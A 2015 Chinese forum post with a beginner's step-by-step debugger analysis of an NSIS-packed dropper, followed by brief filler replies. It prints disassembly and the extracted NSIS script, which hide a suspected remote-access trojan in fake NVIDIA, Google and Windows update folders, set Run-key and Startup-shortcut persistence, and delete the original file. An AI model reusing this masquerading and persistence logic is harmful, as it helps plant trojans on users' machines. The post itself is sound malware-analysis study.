聚合Vip网络社区 集合 HK共享吧 合购VIP等精品教程

 找回密码
 立即注册

QQ登录

只需一步,快速开始

关闭
聚合Vip社区
欢迎QQ或来电咨询
工作时间:周一至周五
AM9:00-PM22:00
淘宝店铺 淘宝皇冠店铺
论坛邀请码
查看: 3132|回复: 433

[病毒分析区] 纯小白系列之病毒分析(一)

  [复制链接]

1万

主题

15

听众

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情
    郁闷
    2014-12-12 09:43
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-5-7 17:30:02 |显示全部楼层

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    立即注册 已有账号?点击登录 或者 用QQ帐号登录

    x
    一、  名词解释
               母体:指病毒主文件(即2E6682932F826269B0F84A93AAB9E609.85A681D7)
               子体:指由母体从资源中释放出来的文件

    二、  研究环境及分析工具
    系统环境:虚拟机中的XP环境
    研究工具:OD 、IDA、procexp(行为分析)、procmon、PEID等
    分析人:Youngs

    三、  行为分析
         1、 用OD加载母体程序,直接按F9运行时,在procexp中可以看到母体释放出一个子体daemonupd.exe格式的程序,并创建进程运行!如图一所示:

    图一

      2、用PEID给母体查壳,显示为Nullsoft PiMP Stub [Nullsoft PiMP SFX] *,如下图所示

    图二

    因为不知道这个是什么壳,于是我百度一下,结果百度上给出的是以下回答:
    不是特别的壳,只是用Nullsoft Installation System制作的安装程序。Nullsoft Installation System(NSIS)是一个把程序,数据和文档等,用Script 方式,制作成“安装程序”的软件。
    只是它的母体只是一个用NSIS来制作的一个exe程序。

    四、  调试分析
           1、打开ida加载母体程序后,可以看到一些重要的API和CALL,了解整个过程的操作流程。看了其伪代码大概知道是获取临时路径,然后操作文件相关。

           2、大致流程路线:



           3、用OD加载母体程序,首先是其母体程序的路径,如图三所示:

    图三

    然后获取完整路径,用“(即22)作为结束符判断,如图四所示:

    图四

    通过脚本程序(后面会介绍到脚本)获取零时文件:
    代码:
    0040588C  |.  56                  |PUSH ESI                                ; /TempName0040588D  |.  8D45 08             |LEA EAX,DWORD PTR SS:[EBP+0x8]          ; |00405890  |.  6A 00               |PUSH 0x0                                ; |Unique = 0x000405892  |.  50                  |PUSH EAX                                ; |Prefix="nsa"(此值是随时变化的)00405893  |.  FF75 0C             |PUSH DWORD PTR SS:[EBP+0xC]             ; |Path="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\"00405896  |.  0055 0A             |ADD BYTE PTR SS:[EBP+0xA],DL            ; |DL=9 此时"nsa"中的a+9=t 从而名字为"nsj"00405899  |.  FF15 D8704000       |CALL DWORD PTR DS:[<&KERNEL32.GetTempFi>; \GetTempFileNameA0040589F  |.  85C0                |TEST EAX,EAX004058A1  |.  75 0D               |JNZ SHORT 2E668293.004058B0004058A3  |.  85FF                |TEST EDI,EDI004058A5  |.^ 75 D0               \JNZ SHORT 2E668293.00405877

    然后我们会发现在C:\Documents and Settings\Administrator\Local Settings\Temp路径下会发现这样一个零时文件。执行完后回到那个调用CALL的位置:
    因为不知道创建这个零时文件有什么作用,然后我们接着继续往下分析,会发现其回继续跳出回来主call,其实通过GetTempPathA就可以猜出是在上面的目录下进行操作的,如下图:

    然后接着继续看,当看到下面的时候,我们会发现之前的分析没有啥意义了,个人理解为是在干扰分析用的又或者可以理解为一种壳吧。

    代码:
    004033A8  |. /74 7E               JE SHORT 2E668293.00403428004033AA  |> |68 00A04200         PUSH 2E668293.0042A000                   ; /FileName="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsj3.tmp"004033AF  |. |FF15 44714000       CALL DWORD PTR DS:[<&KERNEL32.DeleteFile>; \DeleteFileA004033B5  |.  56                  PUSH ESI                                 ; /Arg1004033B6  |.  E8 B7F8FFFF         CALL 2E668293.00402C72                   ; \在路径C:\Documents and Settings\Administrator\Local Settings\Temp中创建nsd4.tmp

    刚才分析的文件又重新删除掉了,并又创建了nsd4.tmp方式与之前一样!

    跟着我们继续跟入CALL中,然后会发现这样一段,是在C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update目录下创建一下文件夹的方法,由于文件夹为null,所以没出现新文件夹。如下图:

    下面这段代码是创建google下update的目录:
    代码:
    00402A0C  |.  83E1 0F       AND ECX,0xF00402A0F  |.  C1F8 04       SAR EAX,0x400402A12  |.  FF348A        PUSH DWORD PTR DS:[EDX+ECX*4]        ; /Arg200402A15  |.  C1E0 0A       SHL EAX,0xA                          ; |00402A18  |.  05 709B4000   ADD EAX,2E668293.00409B70            ; |ASCII "Google\Update"00402A1D  |.  50            PUSH EAX                             ; |Arg100402A1E  |.  E8 65310000   CALL 2E668293.00405B88               ; \创建CALL

    以下是在C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\路径下创建新文件d83665e11921a3e0525e1d4d9e1d04f1.exe

    代码:
    0040583D  /$  FF7424 04     PUSH DWORD PTR SS:[ESP+0x4]          ; /FileName00405841  |.  FF15 78704000 CALL DWORD PTR DS:[<&KERNEL32.GetFil>; \GetFileAttributesA00405847  |.  8BC8          MOV ECX,EAX00405849  |.  6A 00         PUSH 0x0                             ; /hTemplateFile = NULL0040584B  |.  41            INC ECX                              ; |0040584C  |.  F7D9          NEG ECX                              ; |0040584E  |.  1BC9          SBB ECX,ECX                          ; |00405850  |.  23C8          AND ECX,EAX                          ; |00405852  |.  51            PUSH ECX                             ; |Attributes=000405853  |.  FF7424 14     PUSH DWORD PTR SS:[ESP+0x14]         ; |Mode=CREATE_ALWAYS00405857  |.  6A 00         PUSH 0x0                             ; |pSecurity = NULL00405859  |.  6A 01         PUSH 0x1                             ; |ShareMode = FILE_SHARE_READ0040585B  |.  FF7424 1C     PUSH DWORD PTR SS:[ESP+0x1C]         ; |Access = GENERIC_WRITE0040585F  |.  FF7424 1C     PUSH DWORD PTR SS:[ESP+0x1C]         ; |FileName="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\d83665e11921a3e0525e1d4d9e1d04f1.exe00405863  |.  FF15 90704000 CALL DWORD PTR DS:[<&KERNEL32.Create>; \CreateFileA00405869  \.  C2 0C00       RETN 0xC

    如下图所示:是创建出来的程序

    然后通过调用此call

    创建进程,运行它
    Call内代码如下:
    代码:
    004053C6  /$  55            PUSH EBP004053C7  |.  8BEC          MOV EBP,ESP004053C9  |.  83EC 10       SUB ESP,0x10004053CC  |.  8D45 F0       LEA EAX,DWORD PTR SS:[EBP-0x10]004053CF  |.  C705 A8244200>MOV DWORD PTR DS:[0x4224A8],0x44004053D9  |.  50            PUSH EAX                             ; /pProcessInfo004053DA  |.  33C0          XOR EAX,EAX                          ; |004053DC  |.  68 A8244200   PUSH 2E668293.004224A8               ; |pStartupInfo = 2E668293.004224A8004053E1  |.  50            PUSH EAX                             ; |CurrentDir => NULL004053E2  |.  50            PUSH EAX                             ; |pEnvironment => NULL004053E3  |.  50            PUSH EAX                             ; |CreationFlags => 0004053E4  |.  50            PUSH EAX                             ; |InheritHandles => FALSE004053E5  |.  50            PUSH EAX                             ; |pThreadSecurity => NULL004053E6  |.  50            PUSH EAX                             ; |pProcessSecurity => NULL004053E7  |.  FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; |CommandLine004053EA  |.  50            PUSH EAX                             ; |ModuleFileName => NULL004053EB  |.  FF15 D0704000 CALL DWORD PTR DS:[<&KERNEL32.Create>; \CreateProcessA004053F1  |.  85C0          TEST EAX,EAX004053F3  |.  74 0C         JE SHORT 2E668293.00405401004053F5  |.  FF75 F4       PUSH DWORD PTR SS:[EBP-0xC]          ; /hObject004053F8  |.  FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle004053FE  |.  8B45 F0       MOV EAX,DWORD PTR SS:[EBP-0x10]00405401  |>  C9            LEAVE00405402  \.  C2 0400       RETN 0x4

    运行后的程序如下图:


    随后的代码中,直接关闭其句柄了:
    代码:
    代码:
    00401E87  |> \FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; /hObject00401E8A  |>  FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle

    接着其创建注册表,操作过程用 可以查看到:


    代码:
    00402328  |.  53            PUSH EBX                             ; /pDisposition00402329  |.  51            PUSH ECX                             ; |pHandle0040232A  |.  8B0D 503F4200 MOV ECX,DWORD PTR DS:[0x423F50]      ; |00402330  |.  83C9 02       OR ECX,0x2                           ; |00402333  |.  53            PUSH EBX                             ; |pSecurity00402334  |.  51            PUSH ECX                             ; |Access00402335  |.  53            PUSH EBX                             ; |Options00402336  |.  53            PUSH EBX                             ; |Class00402337  |.  53            PUSH EBX                             ; |Reserved00402338  |.  50            PUSH EAX                             ; |SubKey="Software\Microsoft\Windows\CurrentVersion\Run"00402339  |.  57            PUSH EDI                             ; |hKey=HKEY_CURRENY_USER0040233A  |.  C745 FC 01000>MOV DWORD PTR SS:[EBP-0x4],0x1       ; |00402341  |.  FF15 20704000 CALL DWORD PTR DS:[<&ADVAPI32.RegCre>; \RegCreateKeyExA

    紧接着会出现设置注册表的键值
    代码:
    0040238E  |> \50            PUSH EAX                             ; /BufSize=950040238F  |.  57            PUSH EDI                             ; |Buffer="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"00402390  |.  FF75 D0       PUSH DWORD PTR SS:[EBP-0x30]         ; |ValueType = REG_SZ00402393  |.  53            PUSH EBX                             ; |Rserved = 0x000402394  |.  FF75 BC       PUSH DWORD PTR SS:[EBP-0x44]         ; |ValueName = "NvUpdService"00402397  |.  FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; |hKey = OxDC0040239A  |.  FF15 04704000 CALL DWORD PTR DS:[<&ADVAPI32.RegSet>; \RegSetValueExA

    监控的操作为:

    紧接着关闭注册表:
    代码:
    0040247C  |> \57            PUSH EDI                             ; /hKey0040247D  |>  FF15 1C704000 CALL DWORD PTR DS:[<&ADVAPI32.RegClo>; \RegCloseKey



    继续跟进,会发现在C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update中创建一个空目录,

    代码:
    004015D2  |.  53            |PUSH EBX                            ; /pSecurity=0004015D3  |.  57            |PUSH EDI                            ; |Path = "C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update"004015D4  |.  8A06          |MOV AL,BYTE PTR DS:[ESI]            ; |004015D6  |.  881E          |MOV BYTE PTR DS:[ESI],BL            ; |004015D8  |.  8845 0B       |MOV BYTE PTR SS:[EBP+0xB],AL        ; |004015DB  |.  FF15 80704000 |CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateDirectoryA

    然后调用SHFileOperationA函数来复制d83665e11921a3e0525e1d4d9e1d04f1.exe并重命名为gupdate.exe:

    代码:
    004021CC  |.  50            PUSH EAX                             ; /Arg2004021CD  |.  53            PUSH EBX                             ; |Arg1004021CE  |.  8975 A4       MOV DWORD PTR SS:[EBP-0x5C],ESI      ; |004021D1  |.  897D A8       MOV DWORD PTR SS:[EBP-0x58],EDI      ; |004021D4  |.  8945 B6       MOV DWORD PTR SS:[EBP-0x4A],EAX      ; |004021D7  |.  66:894D AC    MOV WORD PTR SS:[EBP-0x54],CX        ; |004021DB  |.  E8 242D0000   CALL 2E668293.00404F04               ; \2E668293.00404F04004021E0  |.  8D45 9C       LEA EAX,DWORD PTR SS:[EBP-0x64]004021E3  |.  50            PUSH EAX004021E4  |.  FF15 60714000 CALL DWORD PTR DS:[<&SHELL32.SHFileO>;  shell32.SHFileOperationA (把d83665e11921a3e0525e1d4d9e1d04f1.exe复制到\Application Data\Google\Update目录下 并把程序名改为gupdate.exe)

    紧接着给gupdate.exe创建注册表,代码如下:
    代码:
    00402328  |.  53            PUSH EBX                             ; /pDisposition00402329  |.  51            PUSH ECX                             ; |pHandle0040232A  |.  8B0D 503F4200 MOV ECX,DWORD PTR DS:[0x423F50]      ; |00402330  |.  83C9 02       OR ECX,0x2                           ; |00402333  |.  53            PUSH EBX                             ; |pSecurity00402334  |.  51            PUSH ECX                             ; |Access00402335  |.  53            PUSH EBX                             ; |Options00402336  |.  53            PUSH EBX                             ; |Class00402337  |.  53            PUSH EBX                             ; |Reserved00402338  |.  50            PUSH EAX                             ; |SubKey="Software\Microsoft\Windows\CurrentVersion\Run"00402339  |.  57            PUSH EDI                             ; |hKey=HKEY_CURRENY_USER0040233A  |.  C745 FC 01000>MOV DWORD PTR SS:[EBP-0x4],0x1       ; |00402341  |.  FF15 20704000 CALL DWORD PTR DS:[<&ADVAPI32.RegCre>; \RegCreateKeyExA

    接着设置其注册表的键值,代码如下:
    代码:
    0040238E  |> \50            PUSH EAX                             ; /BufSize=950040238F  |.  57            PUSH EDI                             ; |Buffer="C:\Documents and Settings\Administrator\Local Settings\Application Data\Google\Update\gupdate.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"00402390  |.  FF75 D0       PUSH DWORD PTR SS:[EBP-0x30]         ; |ValueType = REG_SZ00402393  |.  53            PUSH EBX                             ; |Rserved = 0x000402394  |.  FF75 BC       PUSH DWORD PTR SS:[EBP-0x44]         ; |ValueName = "Google Update"00402397  |.  FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; |hKey = OxDC0040239A  |.  FF15 04704000 CALL DWORD PTR DS:[<&ADVAPI32.RegSet>; \RegSetValueExA

    接下来就是关闭注册表:

    代码:
    0040247C  |> \57            PUSH EDI                             ; /hKey0040247D  |>  FF15 1C704000 CALL DWORD PTR DS:[<&ADVAPI32.RegClo>; \RegCloseKey

    更换了目录,对C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows目录操作

    代码:
    004015D2  |.  53            |PUSH EBX                            ; /pSecurity004015D3  |.  57            |PUSH EDI                            ; |Path = "C:\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows"004015D4  |.  8A06          |MOV AL,BYTE PTR DS:[ESI]            ; |004015D6  |.  881E          |MOV BYTE PTR DS:[ESI],BL            ; |004015D8  |.  8845 0B       |MOV BYTE PTR SS:[EBP+0xB],AL        ; |004015DB  |.  FF15 80704000 |CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateDirectoryA

    调用SHFileOperationA函数来复制d83665e11921a3e0525e1d4d9e1d04f1.exe并重命名为winupdate.exe:

    代码:
    004021CC  |.  50            PUSH EAX                             ; /Arg2004021CD  |.  53            PUSH EBX                             ; |Arg1004021CE  |.  8975 A4       MOV DWORD PTR SS:[EBP-0x5C],ESI      ; |004021D1  |.  897D A8       MOV DWORD PTR SS:[EBP-0x58],EDI      ; |004021D4  |.  8945 B6       MOV DWORD PTR SS:[EBP-0x4A],EAX      ; |004021D7  |.  66:894D AC    MOV WORD PTR SS:[EBP-0x54],CX        ; |004021DB  |.  E8 242D0000   CALL 2E668293.00404F04               ; \2E668293.00404F04004021E0  |.  8D45 9C       LEA EAX,DWORD PTR SS:[EBP-0x64]004021E3  |.  50            PUSH EAX004021E4  |.  FF15 60714000 CALL DWORD PTR DS:[<&SHELL32.SHFileO>;  shell32.SHFileOperationA (把d83665e11921a3e0525e1d4d9e1d04f1.exe复制到\Application Data\Microsoft\Windows目录下 并把程序名改为winupdate.exe)

    把其中的一个字符串装换为宽字符:

    代码:
    0040211B  |.  68 00040000   PUSH 0x400                           ; /WideBufSize = 400 (1024.)00402120  |.  56            PUSH ESI                             ; |WideCharBuf => 2E668293.0040936800402121  |.  6A FF         PUSH -0x1                            ; |StringSize = FFFFFFFF (-1.)00402123  |.  FF75 D0       PUSH DWORD PTR SS:[EBP-0x30]         ; |StringToMap = "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\winupdate.lnk"00402126  |.  BF 05400080   MOV EDI,0x80004005                   ; |0040212B  |.  53            PUSH EBX                             ; |Options0040212C  |.  53            PUSH EBX                             ; |CodePage0040212D  |.  FF15 1C714000 CALL DWORD PTR DS:[<&KERNEL32.MultiB>; \MultiByteToWideChar

    紧接着去搜索C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"

    代码:
    00405527  |.  50            PUSH EAX                             ; /pFindFileData00405528  |.  56            PUSH ESI                             ; |FileName="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"00405529  |.  03DF          ADD EBX,EDI                          ; |0040552B  |.  FF15 40714000 CALL DWORD PTR DS:[<&KERNEL32.FindFi>; \FindFirstFileA

    然后就自己调用MoveFileA函数来重命名程序了,

    代码:
    0040165E  |.  57            PUSH EDI                             ; /NewName = "C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe"0040165F  |.  56            PUSH ESI                             ; |ExistingName = "C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\d83665e11921a3e0525e1d4d9e1d04f1.exe"00401660  |.  FF15 70704000 CALL DWORD PTR DS:[<&KERNEL32.MoveFi>; \MoveFileA

    执行完上面代码后,则出现下图情况:


    继续跟入,我们会发现,程序创建进程直接运行起daemonupd.exe

    代码:
    004053D9  |.  50            PUSH EAX                             ; /pProcessInfo004053DA  |.  33C0          XOR EAX,EAX                          ; |004053DC  |.  68 A8244200   PUSH 2E668293.004224A8               ; |pStartupInfo = 2E668293.004224A8004053E1  |.  50            PUSH EAX                             ; |CurrentDir => NULL004053E2  |.  50            PUSH EAX                             ; |pEnvironment => NULL004053E3  |.  50            PUSH EAX                             ; |CreationFlags => 0004053E4  |.  50            PUSH EAX                             ; |InheritHandles => FALSE004053E5  |.  50            PUSH EAX                             ; |pThreadSecurity => NULL004053E6  |.  50            PUSH EAX                             ; |pProcessSecurity => NULL004053E7  |.  FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; |CommandLine = ""C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\daemonupd.exe" /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"004053EA  |.  50            PUSH EAX                             ; |ModuleFileName => NULL004053EB  |.  FF15 D0704000 CALL DWORD PTR DS:[<&KERNEL32.Create>; \CreateProcessA

    关闭句柄,代码如下:
    代码:
    00402753  |> \FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; /hObject00402756  |.  FF15 EC704000 CALL DWORD PTR DS:[<&KERNEL32.CloseH>; \CloseHandle

    继续搜索以前的原有程序d83665e11921a3e0525e1d4d9e1d04f1.exe是否存在

    代码:
    00405521  |.  8D85 B8FEFFFF LEA EAX,DWORD PTR SS:[EBP-0x148]00405527  |.  50            PUSH EAX                             ; /pFindFileData00405528  |.  56            PUSH ESI                             ; |FileName="C:\Documents and Settings\Administrator\Local Settings\Application Data\NVIDIA Corporation\Update\d83665e11921a3e0525e1d4d9e1d04f1.exe"00405529  |.  03DF          ADD EBX,EDI                          ; |0040552B  |.  FF15 40714000 CALL DWORD PTR DS:[<&KERNEL32.FindFi>; \FindFirstFileA

    继续检查2E6682932F826269B0F84A93AAB9E609.85A681D7是否存在,代用代码和上面一样
    接着调用DeleteFileA来删除母体程序,由于我用OD已经加载了,所以删除失败,正常是可以自己删除母体程序的

    代码:
    004055A0  |.  57            |PUSH EDI                            ; /FileName004055A1  |.  FF15 44714000 |CALL DWORD PTR DS:[<&KERNEL32.Delet>; \DeleteFileA

    后面的代码都是对2B42CDC8B1EDBFEC23AA442F8F7EF3D9操作的,搜索目录、终止进程、关闭句柄,因为我用OD加载了 所以无法对其操作!
    其代码如下:
    代码:
    004055D3  |> \8D85 B8FEFFFF |LEA EAX,DWORD PTR SS:[EBP-0x148]004055D9  |.  50            |PUSH EAX                            ; /pFindFileData004055DA  |.  FF75 08       |PUSH DWORD PTR SS:[EBP+0x8]         ; |hFile004055DD  |.  FF15 3C714000 |CALL DWORD PTR DS:[<&KERNEL32.FindN>; \FindNextFileA004055E3  |.  85C0          |TEST EAX,EAX004055E5  |.^ 0F85 52FFFFFF \JNZ 2E668293.0040553D004055EB  |.  FF75 08       PUSH DWORD PTR SS:[EBP+0x8]          ; /hSearch004055EE  |.  FF15 38714000 CALL DWORD PTR DS:[<&KERNEL32.FindCl>; \FindClose……………………………………………………………………………………………………004035AF  |.  894424 18     MOV DWORD PTR SS:[ESP+0x18],EAX004035B3  |>  FF7424 18     PUSH DWORD PTR SS:[ESP+0x18]         ; /ExitCode004035B7  \.  FF15 A4704000 CALL DWORD PTR DS:[<&KERNEL32.ExitPr>; \ExitProcess004035BD  /$  A1 14904000   MOV EAX,DWORD PTR DS:[0x409014]004035C2  |.  56            PUSH ESI004035C3  |.  8B35 EC704000 MOV ESI,DWORD PTR DS:[<&KERNEL32.Clo>;  kernel32.CloseHandle004035C9  |.  83F8 FF       CMP EAX,-0x1004035CC  |.  74 0A         JE SHORT 2E668293.004035D8004035CE  |.  50            PUSH EAX                             ; /hObject => FFFFFFFF004035CF  |.  FFD6          CALL ESI                             ; \CloseHandle……………………………………………………………………………………………………

    五、  继续分析daemonup.exe文件
    用OD加载的时候会显示数据被压缩过,可能是加了某种壳吧!打乱了所有的顺序,用“删除模块分析”都没什么反应 ,由于水平有限暂到这里吧  
    我们会发现无法正常双击去运行它,然后我又重新让母体程序运行起来,用Process Monitor会发现如下的情况


    应该是一个远控木马程序,因为它不停的发包和接包!


    六、  带着好奇心打开NSIS文件
       1、弄玩上面的,又百度了一下NSIS,在卡饭论坛上看到有这样的回答,说是可以用7z-zip解压一些文件,于是在虚拟机中我用7z解压打开了母体程序。我一个朋友也解压出来了,然后也跟着试试!看到如下信息:

    图6
    暂时百度后只知道nsis是执行脚本。
    结合图一和图6,我们可以看到图6中的exe在图一中都没显示过,初步估计是操作很快,人眼无法识别出来,但是在我们动态调试的时候,显示有!
    2、以文本文档的方式打开[NSIS].nsi文件,我们会发现正如百度知道所说,这里面全部是一些操作文件、注册表等的代码,部分代码如下:
    代码:
    Exec "$\"$INSTDIR\daemonupd.exe$\" /exit 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $_0_  DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run $_4_  Sleep 1000  Delete $INSTDIR\daemonupd.exe  Delete $SMSTARTUP\$_2_.lnk  Delete $LOCALAPPDATA\Microsoft\Windows\$_2_.exe  Delete $LOCALAPPDATA\$_1_\$_3_.exe  Quitlabel_61:  File d83665e11921a3e0525e1d4d9e1d04f1.exe  Exec "$\"$INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe$\" /exit 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  Sleep 2000  WriteRegStr HKCU Software\Microsoft\Windows\CurrentVersion\Run $_0_ "$INSTDIR\daemonupd.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  CreateDirectory $LOCALAPPDATA\$_1_  CopyFiles /SILENT $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $LOCALAPPDATA\$_1_\$_3_.exe    ; $(LSTR_7)$LOCALAPPDATA\$_1_\$_3_.exe    ;  "Copy to "  WriteRegStr HKCU Software\Microsoft\Windows\CurrentVersion\Run $_4_ "$LOCALAPPDATA\$_1_\$_3_.exe /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  CreateDirectory $LOCALAPPDATA\Microsoft\Windows  CopyFiles /SILENT $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $LOCALAPPDATA\Microsoft\Windows\$_2_.exe    ; $(LSTR_7)$LOCALAPPDATA\Microsoft\Windows\$_2_.exe    ;  "Copy to "  CreateShortCut $SMSTARTUP\$_2_.lnk $LOCALAPPDATA\Microsoft\Windows\$_2_.exe "/app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  Delete $INSTDIR\daemonupd.exe  Rename /REBOOTOK $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe $INSTDIR\daemonupd.exe ;  $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe->$INSTDIR\daemonupd.exe  Exec "$\"$INSTDIR\daemonupd.exe$\" /app 2B42CDC8B1EDBFEC23AA442F8F7EF3D9"  Delete $INSTDIR\d83665e11921a3e0525e1d4d9e1d04f1.exe  Delete /REBOOTOK $EXEPATH

    因为之前用OD调试过,会发现母体程序基本都是按照此代码来操作注册表和文件等的
    好了,分析报告就到这里吧!
    因为自己没有分析病毒的经验,也就是自己一步一步的跟进去找到相关的call去理解的!
    第一次写这样的文档,也不是文科生,叙述没有条理,有些混乱!大家凑合看吧!有错误的地方也希望大家能指正,我也能多学习学习!
    回复

    使用道具 举报

    19

    主题

    0

    听众

    695

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 17:30:17 |显示全部楼层
    消灭0回复,我要抢沙发!…
    回复

    使用道具 举报

    11

    主题

    0

    听众

    477

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 17:33:52 |显示全部楼层
    沙发位出租,有意请联系哦
    回复

    使用道具 举报

    12

    主题

    0

    听众

    441

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 17:37:44 |显示全部楼层
    高手云集 果断围观
    回复

    使用道具 举报

    18

    主题

    0

    听众

    503

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 17:38:52 |显示全部楼层
    珍爱生命,果断回帖。
    回复

    使用道具 举报

    13

    主题

    0

    听众

    444

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 17:39:41 |显示全部楼层
    支持,楼下的跟上哈~
    回复

    使用道具 举报

    16

    主题

    0

    听众

    489

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 18:03:55 |显示全部楼层
    为保住菊花,这个一定得回复!
    回复

    使用道具 举报

    12

    主题

    0

    听众

    525

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 18:18:40 |显示全部楼层
    这么强,支持楼主,佩服
    回复

    使用道具 举报

    16

    主题

    0

    听众

    479

    积分

    中级会员

    Rank: 3Rank: 3

    该用户从未签到

    发表于 2015-5-7 18:37:12 |显示全部楼层
    有空一起交流一下
    回复

    使用道具 举报

    13

    主题

    0

    听众

    574

    积分

    高级会员

    Rank: 4

    该用户从未签到

    发表于 2015-5-7 18:51:40 |显示全部楼层
    有空一起交流一下
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    回帖奖励

    [详情]

  • * 每天自己主题被回复3次可获得额外2金钱奖励。
  • * 每天回复他人主题5次可获得额外3贡献的奖励。
  • * 奖励每天都可领取,一定要多参与论坛讨论哦。
  • * 同一主题的重复回复不计。
  • Archiver|手机版|聚合Vip网络社区 ( 鲁ICP备14030129号-2 )Discuz超级管家   

    GMT+8, 2018-12-11 15:31 , Processed in 1.125014 second(s), 58 queries .

    Powered by Discuz! X2.5

    © 2001-2018 Comsenz Inc. Template by A3cn

    回顶部